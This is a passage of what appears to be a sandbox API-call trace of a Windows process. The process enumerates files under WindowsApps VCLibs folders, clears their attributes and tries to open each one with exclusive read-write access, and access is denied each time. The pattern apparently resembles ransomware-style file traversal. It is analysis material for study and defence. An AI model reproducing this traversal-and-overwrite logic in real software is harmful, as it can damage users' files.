	[0091.198] wcscat (in: _Dest=0x4776b60, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.198] wcscat (in: _Dest=0x4776b60, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*"
	[0091.198] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502e158
	[0091.198] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\*", lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5b9575e3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe5ee7834, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe5ee7834, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1a8
	[0091.198] wcscmp (_String1=".", _String2=".") returned 0
	[0091.198] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x5b9575e3, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xe5ee7834, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe5ee7834, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.198] wcscmp (_String1="..", _String2=".") returned 1
	[0091.198] wcscmp (_String1="..", _String2="..") returned 0
	[0091.198] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe5ee7834, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe5ee7834, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe5ee7834, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 1
	[0091.198] wcscmp (_String1="Autogen", _String2=".") returned 1
	[0091.198] wcscmp (_String1="Autogen", _String2="..") returned 1
	[0091.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xfe) returned 0x50279d8
	[0091.199] wcscpy (in: _Dest=0x50279d8, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata"
	[0091.199] wcscat (in: _Dest=0x50279d8, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\"
	[0091.199] wcscat (in: _Dest=0x50279d8, _Source="Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x47175d0
	[0091.199] wcscpy (in: _Dest=0x47175d0, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.199] wcscat (in: _Dest=0x47175d0, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0091.199] wcscat (in: _Dest=0x47175d0, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*"
	[0091.199] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50300a0
	[0091.199] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\*", lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe5ee7834, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe5ee7834, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe5ee7834, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b1e8
	[0091.200] wcscmp (_String1=".", _String2=".") returned 0
	[0091.200] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe5ee7834, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe5ee7834, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe5ee7834, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.200] wcscmp (_String1="..", _String2=".") returned 1
	[0091.200] wcscmp (_String1="..", _String2="..") returned 0
	[0091.200] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5ee7834, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe5ee7834, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe5ee7834, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeCache_64", cAlternateFileName="JSBYTE~1")) returned 1
	[0091.200] wcscmp (_String1="JSByteCodeCache_64", _String2=".") returned 1
	[0091.200] wcscmp (_String1="JSByteCodeCache_64", _String2="..") returned 1
	[0091.200] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x124) returned 0x2e45250
	[0091.200] wcscpy (in: _Dest=0x2e45250, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen"
	[0091.200] wcscat (in: _Dest=0x2e45250, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\"
	[0091.200] wcscat (in: _Dest=0x2e45250, _Source="JSByteCodeCache_64" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64"
	[0091.200] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\autogen\\jsbytecodecache_64")) returned 0x2024
	[0091.201] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64", dwFileAttributes=0x20) returned 0
	[0091.201] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\autogen\\jsbytecodecache_64"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.201] GetLastError () returned 0x5
	[0091.201] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x64__8wekyb3d8bbwe\\microsoft.system.package.metadata\\Autogen\\JSByteCodeCache_64", dwFileAttributes=0x2024) returned 0
	[0091.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e45250) returned 1
	[0091.201] FindNextFileW (in: hFindFile=0x477b1e8, lpFindFileData=0x50300a0 | out: lpFindFileData=0x50300a0*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe5ee7834, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe5ee7834, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe5ee7834, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x4, dwReserved0=0x0, dwReserved1=0x0, cFileName="JSByteCodeCache_64", cAlternateFileName="JSBYTE~1")) returned 0
	[0091.201] FindClose (in: hFindFile=0x477b1e8 | out: hFindFile=0x477b1e8) returned 1
	[0091.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50300a0) returned 1
	[0091.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47175d0) returned 1
	[0091.201] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50279d8) returned 1
	[0091.201] FindNextFileW (in: hFindFile=0x477b1a8, lpFindFileData=0x502e158 | out: lpFindFileData=0x502e158*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe5ee7834, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xe5ee7834, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xe5ee7834, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Autogen", cAlternateFileName="")) returned 0
	[0091.202] FindClose (in: hFindFile=0x477b1a8 | out: hFindFile=0x477b1a8) returned 1
	[0091.202] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x502e158) returned 1
	[0091.202] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4776b60) returned 1
	[0091.202] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x491cb98) returned 1
	[0091.202] FindNextFileW (in: hFindFile=0x46a71d0, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eaf4664, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eaf4664, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eb1a8b1, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xa36e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcp120_app.dll", cAlternateFileName="")) returned 1
	[0091.202] wcscmp (_String1="msvcp120_app.dll", _String2=".") returned 1
	[0091.202] wcscmp (_String1="msvcp120_app.dll", _String2="..") returned 1
	[0091.202] FindNextFileW (in: hFindFile=0x46a71d0, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eb1a8b1, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eb1a8b1, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eb40b08, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xca1d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr120_app.dll", cAlternateFileName="")) returned 1
	[0091.202] wcscmp (_String1="msvcr120_app.dll", _String2=".") returned 1
	[0091.202] wcscmp (_String1="msvcr120_app.dll", _String2="..") returned 1
	[0091.202] FindNextFileW (in: hFindFile=0x46a71d0, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eb40b08, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eb40b08, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eb66d93, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x75a98, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcamp120_app.dll", cAlternateFileName="")) returned 1
	[0091.202] wcscmp (_String1="vcamp120_app.dll", _String2=".") returned 1
	[0091.202] wcscmp (_String1="vcamp120_app.dll", _String2="..") returned 1
	[0091.202] FindNextFileW (in: hFindFile=0x46a71d0, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eb66d93, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eb66d93, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eb8d19b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x571a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vccorlib120_app.dll", cAlternateFileName="")) returned 1
	[0091.202] wcscmp (_String1="vccorlib120_app.dll", _String2=".") returned 1
	[0091.202] wcscmp (_String1="vccorlib120_app.dll", _String2="..") returned 1
	[0091.202] FindNextFileW (in: hFindFile=0x46a71d0, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eb8d19b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eb8d19b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eb8d19b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe8b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcomp120_app.dll", cAlternateFileName="")) returned 1
	[0091.202] wcscmp (_String1="vcomp120_app.dll", _String2=".") returned 1
	[0091.202] wcscmp (_String1="vcomp120_app.dll", _String2="..") returned 1
	[0091.202] FindNextFileW (in: hFindFile=0x46a71d0, lpFindFileData=0x47100c0 | out: lpFindFileData=0x47100c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eb8d19b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eb8d19b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eb8d19b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xe8b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcomp120_app.dll", cAlternateFileName="")) returned 0
	[0091.202] FindClose (in: hFindFile=0x46a71d0 | out: hFindFile=0x46a71d0) returned 1
	[0091.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47100c0) returned 1
	[0091.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x481bce8) returned 1
	[0091.203] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2ddba40) returned 1

Thread:
	id = 855
	os_tid = 0x360

	[0082.048] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xae) returned 0x481bc30
	[0082.048] wcscpy (in: _Dest=0x481bc30, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe"
	[0082.048] wcscat (in: _Dest=0x481bc30, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\"
	[0082.048] wcscat (in: _Dest=0x481bc30, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\*"
	[0082.048] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x470e8b0
	[0082.048] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\*", lpFindFileData=0x470e8b0 | out: lpFindFileData=0x470e8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8d19b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0ace717, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5b6ced31, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x46a7490
	[0082.050] wcscmp (_String1=".", _String2=".") returned 0
	[0082.050] FindNextFileW (in: hFindFile=0x46a7490, lpFindFileData=0x470e8b0 | out: lpFindFileData=0x470e8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9eb8d19b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0xb0ace717, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x5b6ced31, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.050] wcscmp (_String1="..", _String2=".") returned 1
	[0082.050] wcscmp (_String1="..", _String2="..") returned 0
	[0082.050] FindNextFileW (in: hFindFile=0x46a7490, lpFindFileData=0x470e8b0 | out: lpFindFileData=0x470e8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eb8d19b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eb8d19b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eb8d19b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0xc2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxBlockMap.xml", cAlternateFileName="")) returned 1
	[0082.050] wcscmp (_String1="AppxBlockMap.xml", _String2=".") returned 1
	[0082.050] wcscmp (_String1="AppxBlockMap.xml", _String2="..") returned 1
	[0082.050] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x46a5458
	[0082.050] wcscpy (in: _Dest=0x46a5458, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe"
	[0082.050] wcscat (in: _Dest=0x46a5458, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\"
	[0082.050] wcscat (in: _Dest=0x46a5458, _Source="AppxBlockMap.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxBlockMap.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxBlockMap.xml"
	[0091.181] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\appxblockmap.xml")) returned 0x20
	[0091.182] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.182] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.182] GetLastError () returned 0x5
	[0091.182] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxBlockMap.xml", dwFileAttributes=0x20) returned 0
	[0091.182] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x46a5458) returned 1
	[0091.182] FindNextFileW (in: hFindFile=0x46a7490, lpFindFileData=0x470e8b0 | out: lpFindFileData=0x470e8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9eb8d19b, ftCreationTime.dwHighDateTime=0x1d1a04d, ftLastAccessTime.dwLowDateTime=0x9eb8d19b, ftLastAccessTime.dwHighDateTime=0x1d1a04d, ftLastWriteTime.dwLowDateTime=0x9eb8d19b, ftLastWriteTime.dwHighDateTime=0x1d1a04d, nFileSizeHigh=0x0, nFileSizeLow=0x34b, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppxManifest.xml", cAlternateFileName="")) returned 1
	[0091.182] wcscmp (_String1="AppxManifest.xml", _String2=".") returned 1
	[0091.182] wcscmp (_String1="AppxManifest.xml", _String2="..") returned 1
	[0091.182] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xcc) returned 0x2e12e18
	[0091.182] wcscpy (in: _Dest=0x2e12e18, _Source="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe"
	[0091.182] wcscat (in: _Dest=0x2e12e18, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\"
	[0091.182] wcscat (in: _Dest=0x2e12e18, _Source="AppxManifest.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxManifest.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxManifest.xml"
	[0091.182] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\appxmanifest.xml")) returned 0x20
	[0091.184] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.184] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.vclibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.184] GetLastError () returned 0x5
	[0091.184] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.VCLibs.120.00_12.0.21005.1_x86__8wekyb3d8bbwe\\AppxManifest.xml", dwFileAttributes=0x20) returned 0
	[0091.185] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e12e18) returned 1
